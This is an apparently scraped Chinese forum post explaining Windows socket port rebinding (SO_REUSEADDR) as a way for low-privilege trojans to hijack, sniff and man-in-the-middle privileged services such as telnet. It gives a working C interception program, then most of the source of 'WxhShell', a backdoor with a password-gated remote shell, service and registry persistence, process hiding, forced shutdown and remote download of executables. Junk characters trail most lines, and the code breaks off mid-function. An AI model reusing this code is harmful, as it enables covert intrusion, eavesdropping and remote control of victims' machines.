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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: .\&k]}0qA?  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); SM2N3"\  
}p?67y/  
  saddr.sin_family = AF_INET; |lg jI!iK  
<;O^3_'  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); (DS"*4ty  
SbzJeaZv  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); kFC*,  
-sZb+2tDa  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Li"+`  
W&&|T;P<J  
  这意味着什么?意味着可以进行如下的攻击: A~lc`m-  
E*wG5] at  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 c))?9H ,e)  
\nPf\6;M  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) "Dc\w@`E 0  
MGxkqy?  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 OP"_I!t  
)fxn bBz{  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  F&m9G >r  
WSN^iDS  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ?6hd(^  
q\|RI;W  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 x[&<e<6  
iyd$_CJz  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 N)AlQ'Lwx  
!H[01  
  #include 1q3"qY H  
  #include D~URY_[A  
  #include ey,f igjd.  
  #include    f1+  
  DWORD WINAPI ClientThread(LPVOID lpParam);   VB#&`]r do  
  int main() kh:_,g  
  { Lo#G. s|  
  WORD wVersionRequested; c@"FV,L>  
  DWORD ret; peT91b  
  WSADATA wsaData; _DT,iF*6  
  BOOL val; CCol>:8{P  
  SOCKADDR_IN saddr; JbS[(+o  
  SOCKADDR_IN scaddr; 19c_=$mV  
  int err; &qWB\m  
  SOCKET s; >]ZE<.  
  SOCKET sc; P}UxA!  
  int caddsize; H9_iTGBQ  
  HANDLE mt; @ =~k[o  
  DWORD tid;   .`5|NUhN  
  wVersionRequested = MAKEWORD( 2, 2 ); |+::sL\r  
  err = WSAStartup( wVersionRequested, &wsaData ); qNP)oU92  
  if ( err != 0 ) { N6\rjYx+7  
  printf("error!WSAStartup failed!\n"); `O%nDry  
  return -1; b;5j awG  
  } 9+PAyI#w  
  saddr.sin_family = AF_INET; |iX>hJSl  
   xW*Lceb  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 g,!.`[e'ex  
H.E=m0 np  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); dE_"|,:  
  saddr.sin_port = htons(23); )h&@}#A09  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) doHE]gC2Uz  
  { qe&B$3D|  
  printf("error!socket failed!\n"); 6 U[VoUU   
  return -1; j BBl{  
  } unew XHA  
  val = TRUE; bhIShk[  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 W Zm8!Y  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) czpu^BT;;T  
  { }2"W0ZdWD  
  printf("error!setsockopt failed!\n"); DuR9L'  
  return -1; j/=Tj'S?D  
  } ?[m1?  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; AWx@Z7\z"g  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 qlYi:uygY  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 {FKr^)g  
.m l\z5  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) KsE$^`  
  { ?kQY ^pU  
  ret=GetLastError(); v @0G^z|  
  printf("error!bind failed!\n"); 'TH[Db'`I  
  return -1; o:W*#dt  
  } ?%qaoxG37  
  listen(s,2); e98QT9  
  while(1) jll:Rh(b  
  { ,>7dIJqzw  
  caddsize = sizeof(scaddr); Q\ 6-SAS  
  //接受连接请求 N>"L2E=z$|  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ]= %qm;  
  if(sc!=INVALID_SOCKET) buN@O7\  
  { wv."  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); O65`KOPn  
  if(mt==NULL) UhL1Y NF_  
  { 9RHDkK{5  
  printf("Thread Creat Failed!\n"); ? ,s'UqR  
  break; }Oc+EV-Z  
  } h ~yTkN]  
  } #)xlBq4cZ  
  CloseHandle(mt); fuv{2[N V  
  } `'<$N<!  
  closesocket(s); {}ADsh@7d'  
  WSACleanup(); WQ[n K5#  
  return 0; tzGQo5\  
  }   `4'=&c9  
  DWORD WINAPI ClientThread(LPVOID lpParam) t,JX6ni  
  { R@z`  
  SOCKET ss = (SOCKET)lpParam; av|T|J/(  
  SOCKET sc; FGHCHSqLq  
  unsigned char buf[4096]; sL~4 ~178  
  SOCKADDR_IN saddr; !E?+1WDS0  
  long num; d4  \  
  DWORD val; 6',Hs  
  DWORD ret; H@G$K@L  
  //如果是隐藏端口应用的话,可以在此处加一些判断 'G>XI;g  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   L@s6u +uu  
  saddr.sin_family = AF_INET; w)zJ $l  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); LOcZadr  
  saddr.sin_port = htons(23); !37I2*+4  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 0 3v&k  
  { Qc&Y|]p"  
  printf("error!socket failed!\n"); K;sC#9m  
  return -1; SsW<,T  
  } Aipm=C8  
  val = 100; lW-h @  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) OzrIiahz/  
  { u%z'.#r;a  
  ret = GetLastError(); (XmmbAbVom  
  return -1; `G\Gk|4; 2  
  } 0{z8pNrc  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) l`N#~<.  
  { %\sE\]K  
  ret = GetLastError(); J QnaXjW2  
  return -1; O{~Xp!QQt  
  }  S9}I  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) P4_B.5rrJ  
  { gs3(B/";c  
  printf("error!socket connect failed!\n"); z=U+FHdh/-  
  closesocket(sc); hIV]ZYbH  
  closesocket(ss); 6JZ>&HA  
  return -1; \L~^c1s3r  
  } v9* +@  
  while(1) $ MH;v_'a  
  { r[}nrH&8  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 s)]T"87H'_  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ZJZSt% r  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 x cAs}y}  
  num = recv(ss,buf,4096,0); `b8nz 7  
  if(num>0) HYGd :SeH  
  send(sc,buf,num,0); p:y\{k"  
  else if(num==0) IS(F_< .  
  break; QR"+fzOL  
  num = recv(sc,buf,4096,0); s) U1U6O  
  if(num>0) P8By~f32_  
  send(ss,buf,num,0); ;xz_H$g  
  else if(num==0) 1-? i*C  
  break; 5wx~QV=Hh  
  } 7{O iV}]"  
  closesocket(ss); JZ-@za6u  
  closesocket(sc); ^-q{:lx  
  return 0 ; c:0n/DC  
  } *izCXfW7  
b_F1?:#  
)2ShoFF  
========================================================== v5a\}S<(  
Ly8=SIZ   
下边附上一个代码,,WXhSHELL z/4<x?}+hE  
Uvm.|p_V  
========================================================== 3 5.&!4}  
G-9i   
#include "stdafx.h" $%DoLpE>  
N~=PecQ  
#include <stdio.h> )GVTa4}p  
#include <string.h> -F`GZ  
#include <windows.h> CqC )H7A  
#include <winsock2.h> $ eI cCLF  
#include <winsvc.h> 81y<Uz 6  
#include <urlmon.h> 0{ mm%@o  
/mz.HCs  
#pragma comment (lib, "Ws2_32.lib") Ro9:kEG$  
#pragma comment (lib, "urlmon.lib") 6Y ]P7j  
) u{ ]rb[  
#define MAX_USER   100 // 最大客户端连接数 |=YK2};  
#define BUF_SOCK   200 // sock buffer vi^YtA  
#define KEY_BUFF   255 // 输入 buffer _";w*lg}  
PVlC j  
#define REBOOT     0   // 重启 o5&b'WUJ=  
#define SHUTDOWN   1   // 关机 : pUu_  
<lIm==U<-  
#define DEF_PORT   5000 // 监听端口 _xh)]R  
[q!]Ds" _  
#define REG_LEN     16   // 注册表键长度 k-n`R)p:  
#define SVC_LEN     80   // NT服务名长度 e`={_R{N  
K% FK  
// 从dll定义API &t8,326;  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); pp(09y`]  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); =Mwuhk|*  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); q:)PfP+  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); G) KI{D  
hmkb!)  
// wxhshell配置信息 XV%R Mr6  
struct WSCFG { 59 g//;35@  
  int ws_port;         // 监听端口 @, fvWNI  
  char ws_passstr[REG_LEN]; // 口令 80lhhqRC  
  int ws_autoins;       // 安装标记, 1=yes 0=no ";7N$hWE  
  char ws_regname[REG_LEN]; // 注册表键名 O DN_i  
  char ws_svcname[REG_LEN]; // 服务名 Yz0fOX  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 R_/;U&R  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 :$u[1&6  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 6 ~0kb_td  
int ws_downexe;       // 下载执行标记, 1=yes 0=no <bhGpLh-E  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" s(Gs?6}>T  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 5[X%17&t  
,5W u  
}; h?/E/>  
kB CU+FC  
// default Wxhshell configuration - JEPh!oTt  
struct WSCFG wscfg={DEF_PORT, H*k\C  
    "xuhuanlingzhe", KH?6O%d  
    1, PRiE2Di2S  
    "Wxhshell", kZ@UQ{>`  
    "Wxhshell", ${z#{c1  
            "WxhShell Service", MMKN^a"GA  
    "Wrsky Windows CmdShell Service", V1M|p!  
    "Please Input Your Password: ", OW};i|  
  1, meV Z_f/  
  "http://www.wrsky.com/wxhshell.exe", +%9Re5R  
  "Wxhshell.exe" b`+yNf  
    }; Ix_w.f=8  
k%~;mu"4}  
// 消息定义模块 jSvq1$U  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; f:\)! &W  
char *msg_ws_prompt="\n\r? for help\n\r#>"; [n/c7Pe  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; / S' +  
char *msg_ws_ext="\n\rExit."; :l]qTCmY  
char *msg_ws_end="\n\rQuit."; n.9k5r@  
char *msg_ws_boot="\n\rReboot..."; g`'!Vgd?M[  
char *msg_ws_poff="\n\rShutdown..."; W"@'}y  
char *msg_ws_down="\n\rSave to "; ~fD\=- S1  
%,vq@..^  
char *msg_ws_err="\n\rErr!"; zdPJ>PNU  
char *msg_ws_ok="\n\rOK!"; T;BFO5G@  
Lb Jf5xdi  
char ExeFile[MAX_PATH]; 6c^?DLy9B  
int nUser = 0; e)?}2  
HANDLE handles[MAX_USER]; hzqgsmT)  
int OsIsNt; m,kYE9 {  
i?pd|J  
SERVICE_STATUS       serviceStatus; Dom]w.W5  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 8%;Wyqdf]  
30WOH 'n  
// 函数声明 LYYz=oZOE!  
int Install(void); 0U% tjYk(  
int Uninstall(void); .u ikte  
int DownloadFile(char *sURL, SOCKET wsh); Y5CkCF  
int Boot(int flag); . U6(>6-  
void HideProc(void); y7h^_D+Ce  
int GetOsVer(void); _/Ve~( "  
int Wxhshell(SOCKET wsl); "#pxZ B=  
void TalkWithClient(void *cs); |$IL:W6  
int CmdShell(SOCKET sock); -?#iPvk6  
int StartFromService(void); o9| OL  
int StartWxhshell(LPSTR lpCmdLine); Z}0{FwW"4  
M .6BFC  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); bR~Xog  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); TDk[,4  
HFjSM~  
// 数据结构和表定义 7=yM40  
SERVICE_TABLE_ENTRY DispatchTable[] = @0EY5{&  
{ 2dHO!A$RF  
{wscfg.ws_svcname, NTServiceMain}, H~JgZ pw  
{NULL, NULL} *^; MWI  
}; M {'(+a[  
s% R,]q  
// 自我安装 bnL!PsG$K,  
int Install(void) 4|%Y09"lv  
{ I:DAn!N-A*  
  char svExeFile[MAX_PATH]; DFZ0~+rh  
  HKEY key; w3 vZ}1|  
  strcpy(svExeFile,ExeFile); 1l)j(,Zd*  
4KxuSI^q  
// 如果是win9x系统,修改注册表设为自启动 yy/'B:g  
if(!OsIsNt) { u!~kmIa4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { rd%uc~/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Pw]+6  
  RegCloseKey(key); _oa*E2VN  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2K/t[.8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {7oPDP  
  RegCloseKey(key); .?APDr"QQH  
  return 0; \6 JY#%  
    } <tZtt9j_  
  } z"|jCdZGM  
} ~kV>nx2  
else { iu<Tv,{8  
m#[c]v{  
// 如果是NT以上系统,安装为系统服务 M9fQ,<c<6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 6:}n}q,V  
if (schSCManager!=0) aUa+]H[  
{ vCt][WX(  
  SC_HANDLE schService = CreateService E|-5=!]fX  
  ( nnBS;5  
  schSCManager, JP"#9f  
  wscfg.ws_svcname, #"r_ 3  
  wscfg.ws_svcdisp, HhCFAq"j  
  SERVICE_ALL_ACCESS, KY< $+/B!  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Q~f]?a`  
  SERVICE_AUTO_START, @b 17jmq{  
  SERVICE_ERROR_NORMAL, D,p 2MBr  
  svExeFile, )Z4iM;4]  
  NULL, $; _{|{Yj  
  NULL, wpN [0^M-0  
  NULL, zobFUFx  
  NULL, 5G'2 Wby'#  
  NULL a(fiW%eFb  
  ); }+`,AC`RM  
  if (schService!=0) %LHt{:9.  
  { njJTEUd">  
  CloseServiceHandle(schService); ,@ p4HN*  
  CloseServiceHandle(schSCManager); 7~1Fy{tc  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); CaED(0  
  strcat(svExeFile,wscfg.ws_svcname); 89 m.,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Z3wdk6%:}  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); $Sy}im\H  
  RegCloseKey(key); lUq `t K8  
  return 0; 9i_@3OVl  
    } IY!.j5q8  
  } "UY34a^I  
  CloseServiceHandle(schSCManager); 3zfpFgD!  
} Lf a&JKd  
}  )D+eWo  
)xg8#M=K  
return 1; m7A3i<6p  
} \N|}V.r  
{_4Hsw?s6  
// 自我卸载 s H'FqV,)  
int Uninstall(void) elKp?YN  
{ OUN~7]OD%  
  HKEY key; c"CR_  
i,RbIZnJ  
if(!OsIsNt) { PQF 40g1}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { qD"~5vtLqQ  
  RegDeleteValue(key,wscfg.ws_regname); 7,?ai6{  
  RegCloseKey(key); kAUL7_>6X  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { JB5%\   
  RegDeleteValue(key,wscfg.ws_regname); .8'uIA{_2  
  RegCloseKey(key); $@^\zg1n  
  return 0; H%=;pD>o  
  } Xe`$SNM  
} ^f(El(w  
} K4|fmgcy.  
else { ebL0cK?  
g=v'[JPd  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); &,Rye Q  
if (schSCManager!=0) F|VHr@%  
{ i 28TH Jh  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); K",Xe>  
  if (schService!=0) v?nGAn  
  { ,B x0  
  if(DeleteService(schService)!=0) { =b)!l9TX  
  CloseServiceHandle(schService); (yEU9R$I"  
  CloseServiceHandle(schSCManager); 71<4q {n  
  return 0; tmoclK-  
  } -c0*  
  CloseServiceHandle(schService); 6PWw^Cd  
  } rnMi >?  
  CloseServiceHandle(schSCManager); n sN n>{  
} a|dgK+[  
} VyIJ)F.c  
K-.%1d@$y  
return 1; Q0 ezeo  
} 0iMfyW:  
C^]UK  
// 从指定url下载文件 PK{FQ3b2{  
int DownloadFile(char *sURL, SOCKET wsh) )P+<=8@a  
{ #MMp0  
  HRESULT hr; 1!+0]_8K  
char seps[]= "/"; 3$_- 0>  
char *token; #w^Ot*{!N  
char *file; *r~6R  
char myURL[MAX_PATH]; "Rf|o 6!d  
char myFILE[MAX_PATH]; -4J.YF>  
a9 S&n5  
strcpy(myURL,sURL); TEK#AR  
  token=strtok(myURL,seps); KeyHxU=?  
  while(token!=NULL) La7}zXx  
  { BT -Y9j  
    file=token; t B}W )Eb  
  token=strtok(NULL,seps); Ms%C:KG  
  } %f&Bt,xEo  
^s=F<_{  
GetCurrentDirectory(MAX_PATH,myFILE); yRhD<*  
strcat(myFILE, "\\"); 5ry[Lgg  
strcat(myFILE, file); =(,kjw88w  
  send(wsh,myFILE,strlen(myFILE),0); ST0|2)Lh"  
send(wsh,"...",3,0); iP^[xB~v  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); %N7G>_+  
  if(hr==S_OK) F Zt;D  
return 0; 7=wQ#bq"1P  
else #aP;a-Q|k  
return 1; #7J3,EV  
0o.h{BN  
} [[4!b E  
3)^ 2X  
// 系统电源模块 zJ8jJFL+Y  
int Boot(int flag) 8l?@ o  
{ PIsXX#`7;  
  HANDLE hToken; 4!M0)Nix  
  TOKEN_PRIVILEGES tkp; VdL }$CX$  
Kt"4<'  
  if(OsIsNt) { Us>n`Lj@  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ]h=y  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); JQ]MkP  
    tkp.PrivilegeCount = 1; [#:yOZt  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; p5nrPL  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); tKi ^0vE8  
if(flag==REBOOT) { dr"@2=Z  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ^h<ElK  
  return 0; VhgcvS@V  
} s"wz !{G4  
else { =NRiro  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) IPY[x|  
  return 0; q6 4bP4K  
} bh5C  
  } y<yU5  
  else { AX{yfL  
if(flag==REBOOT) { [s-!t E3-  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) {]y!2r  
  return 0; #vcQ =%;O  
} SR/ "{\C  
else { s*>B"#En  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) DK%@ [D  
  return 0; DeN$YE#*  
} -K5u5l}  
} DCCij N  
s*kSl:T @O  
return 1; aQ1n1OBr  
} \AD|;tA\vE  
Q(hAV  
// win9x进程隐藏模块 ~?lmkfy  
void HideProc(void) #W L>ha v  
{ `~qVo4V6Z  
yMb.~A^$J  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll");  8U-<Q>  
  if ( hKernel != NULL ) 8{Wh4~|+  
  { bxww1NG>|Z  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); `9G1Bd8k  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 4}^\&K&t{  
    FreeLibrary(hKernel); # 9ZO1\  
  } )x&>Cf<,  
SYv5{bff =  
return; tlmfDQD  
} S'q4va"  
04#r'UIF  
// 获取操作系统版本 +]# p m9  
int GetOsVer(void) cvnRd.&  
{ pH.&OW%  
  OSVERSIONINFO winfo; I9 jzR~T  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); $K~ t'wr  
  GetVersionEx(&winfo); uo^tND4a;j  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) !ma'*X  
  return 1; ]~m2#g%  
  else Ktf lbI!  
  return 0; 'A#l$pJp7  
} |+Ub3<b[]  
#xxs^Kbqa#  
// 客户端句柄模块 gG46hO-M%x  
int Wxhshell(SOCKET wsl) fh}j)*K8  
{ |uln<nM9  
  SOCKET wsh; izP>w*/nO  
  struct sockaddr_in client; qH*Fv:qnM  
  DWORD myID; ^:m7Qd?Z[  
(wEaw|Zx  
  while(nUser<MAX_USER) G~\=:d=^,`  
{ (fnp\j3w  
  int nSize=sizeof(client); 0$q)uip  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ^ Hv4t   
  if(wsh==INVALID_SOCKET) return 1; m[?gN&%nc  
Vg? 1&8>  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 8Jf4" ;  
if(handles[nUser]==0) -$kA WP8P4  
  closesocket(wsh); ^$F1U,oi  
else %3 $EV}dp  
  nUser++; #j${R ={  
  } Z;GZ?NOlY  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); F%q}N,W  
*Q2}Qbu  
  return 0; Ceak8#|4  
} M!b"c4|<  
=(>pv,  
// 关闭 socket p3{ 3[fDx  
void CloseIt(SOCKET wsh) Q.L.B7'e7  
{ I>3]VR i  
closesocket(wsh); Z"'tJ3Y.~  
nUser--; LO M-i>  
ExitThread(0); c{K[bppJ*  
} y[sO0u\  
8Ir = @  
// 客户端请求句柄 ,hXhcfFl  
void TalkWithClient(void *cs) Ln5g"g8gb%  
{ #x5?RHX56  
AtW<e;!0te  
  SOCKET wsh=(SOCKET)cs; W%^;:YQ9i  
  char pwd[SVC_LEN]; K)r|oW=6Y  
  char cmd[KEY_BUFF]; p v*n.U6  
char chr[1]; $/;;}|hqi  
int i,j; InR/g@n+D1  
"E )0)A3=  
  while (nUser < MAX_USER) { !%%(o%bi~  
WkR=(dss8  
if(wscfg.ws_passstr) { )Fh5*UC  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \L{V|}"X  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  q<Zza  
  //ZeroMemory(pwd,KEY_BUFF); ;*XH[>I  
      i=0; VRa>bS  
  while(i<SVC_LEN) { |jE0H!j  
8P3"$2q  
  // 设置超时 5]yby"Z?}  
  fd_set FdRead; whvvc2  
  struct timeval TimeOut; eUE(vn#  
  FD_ZERO(&FdRead); '?MT " G  
  FD_SET(wsh,&FdRead); $^j#z^7  
  TimeOut.tv_sec=8; /L? ia  
  TimeOut.tv_usec=0; rRzc"W}K+  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); OtFGo 8  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); &i?>mt  
zsuXN*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ub-q0[6  
  pwd=chr[0]; 'PVxc %[  
  if(chr[0]==0xd || chr[0]==0xa) { eJwHeG  
  pwd=0; *3]_Huw<  
  break; vX/("[  
  } b;%>?U`>p  
  i++; :927y  
    } TQg~I/  
d/Y#oVI  
  // 如果是非法用户,关闭 socket wmnh7'|0u  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); MGE8S$Z  
} QNe siV0MI  
.-HwT3  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); - HiRXB  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8Xjp5  
2\J-7o=P  
while(1) { $|%BaEyk  
r>ca17  
  ZeroMemory(cmd,KEY_BUFF); -oR P ZtW  
7F@#6  
      // 自动支持客户端 telnet标准   *$yU|,  
  j=0; 's_[ #a;Vp  
  while(j<KEY_BUFF) { @UCr`>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;fGh]i  
  cmd[j]=chr[0]; '$\O*e'  
  if(chr[0]==0xa || chr[0]==0xd) { Vx*O^cM  
  cmd[j]=0; ].r~?9'/  
  break; '| rhm  
  } ztb?4f q6)  
  j++; ^'ac |+  
    } nBJ'ak   
Uon^z?0A  
  // 下载文件 ?0J&U4  
  if(strstr(cmd,"http://")) { -b$m<\0*  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 4(D/~OG-6  
  if(DownloadFile(cmd,wsh)) rK} =<R  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3P2x%Gp  
  else C 5 xsh  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q.Xs%{B  
  } LZH~VkK@m}  
  else { {q1u[T&r  
^ R7|x+  
    switch(cmd[0]) { )]M,OMYq-  
  K|sk]2.  
  // 帮助 Vc*"Q8aZ~  
  case '?': { -fCR^`UOS  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); U~1)a(Yu;  
    break; ) o`ep{<t  
  } g`\5!R1  
  // 安装 P}8cSX9  
  case 'i': { R;3n L[{U  
    if(Install()) ^bG91"0A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !@3"vd{^  
    else _`.Wib+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); My<.^~  
    break; 2D)B%nM[  
    } 'B yB1NL  
  // 卸载 It:,8  
  case 'r': { 6%L#FSI  
    if(Uninstall()) 4U>g0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =k^ d5  
    else hnBX enT6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B|SE |  
    break; wU(!fw\  
    } b>]k=zd  
  // 显示 wxhshell 所在路径 ^ DCBL&I  
  case 'p': { x|`BF%e/v  
    char svExeFile[MAX_PATH]; Aa4 DJ  
    strcpy(svExeFile,"\n\r"); r&3EM[*Iw  
      strcat(svExeFile,ExeFile); %fMFcL#h  
        send(wsh,svExeFile,strlen(svExeFile),0); R1vuf*A5,  
    break; ,xI FF-[0  
    } 9v@P|  
  // 重启 i+ICgMcd  
  case 'b': { )}lO%B'K  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ^?5HagA  
    if(Boot(REBOOT)) H7%q[O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +; / s0  
    else { 8/T[dn  
    closesocket(wsh); ;u;_\k<qK  
    ExitThread(0); 7_ s7 );  
    } !xvAy3  
    break; zmhL[1qj  
    } zS*vKyye>  
  // 关机 t Z@OAPRx  
  case 'd': { {4eI} p<  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); {H3B1*Dk  
    if(Boot(SHUTDOWN)) i F \H  
